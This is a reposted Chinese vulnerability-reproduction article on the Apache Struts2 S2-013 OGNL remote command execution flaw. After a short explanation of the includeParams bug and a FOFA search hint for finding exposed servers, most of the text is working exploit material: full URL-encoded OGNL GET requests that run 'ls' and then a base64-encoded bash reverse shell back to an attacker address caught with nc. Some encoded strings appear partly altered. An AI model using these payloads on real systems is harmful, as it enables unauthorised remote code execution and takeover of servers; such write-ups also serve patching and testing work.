本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现-Struts2-013 远程命令执行漏洞
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用JavaServlet/JSP技术,实现了基于JavaEEWeb应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。S2-013中,struts2的标签中<s:a>和<s:url>都有一个includeParams属性,可以设置成如下值①.none-URL中不包含任何参数(默认)②.get-仅包含URL中的GET参数③.all-在URL中包含GET和POST参数当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。此时<s:a>或<s:url>尝试去解析原始请求参数时,会导致OGNL表达式的执行.
0x03 漏洞复现
漏洞影响:Struts 2.0.0 – Struts 2.3.14.1
FOFA:Struts2
1.构造poc link.action?a=${1+1}
,可以看到返回的url中的参数已经被解析成了2
2.构造poc查看文件ls
GET /link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(\'ls\').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=888F974CABF594057AD601D294514F0B; PHPSESSID=s9ed41uve6dgoffdm9jtjvqvv2; security=impossible; sidebarStatus=1; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjUwOTQxMDc5LCJlbWFpbCI6IiJ9._8DuyVqyTU5JuMahSTowUthFUcPW6geq9rdAGafn4DQ
Upgrade-Insecure-Requests: 1
3.设置base64反弹shell脚本,网址:https://ir0ny.top/pentest/reverse-encoder-shell.html
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcsddxOTIuMxxxLjMxLjdsaLzc3NzcgMD4mMQ==}|{base64,-d}|
4.nc监听,并执行反弹shell命令,得到一个shell
GET /link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(\'bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiwwGV2L3RjcC8xOTIuMTY4LjMxLjcwLzc3NzcgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D\').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=888F974CABF594057AD601D294514F0B; PHPSESSID=s9ed41uve6dgoffdm9jtjvqvv2; security=impossible; sidebarStatus=1; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjUwOTQxMDc5LCJlbWFpbCI6IiJ9._8DuyVqyTU5JuMahSTowUthFUcPW6geq9rdAGafn4DQ
Upgrade-Insecure-Requests: 1
THE END
暂无评论内容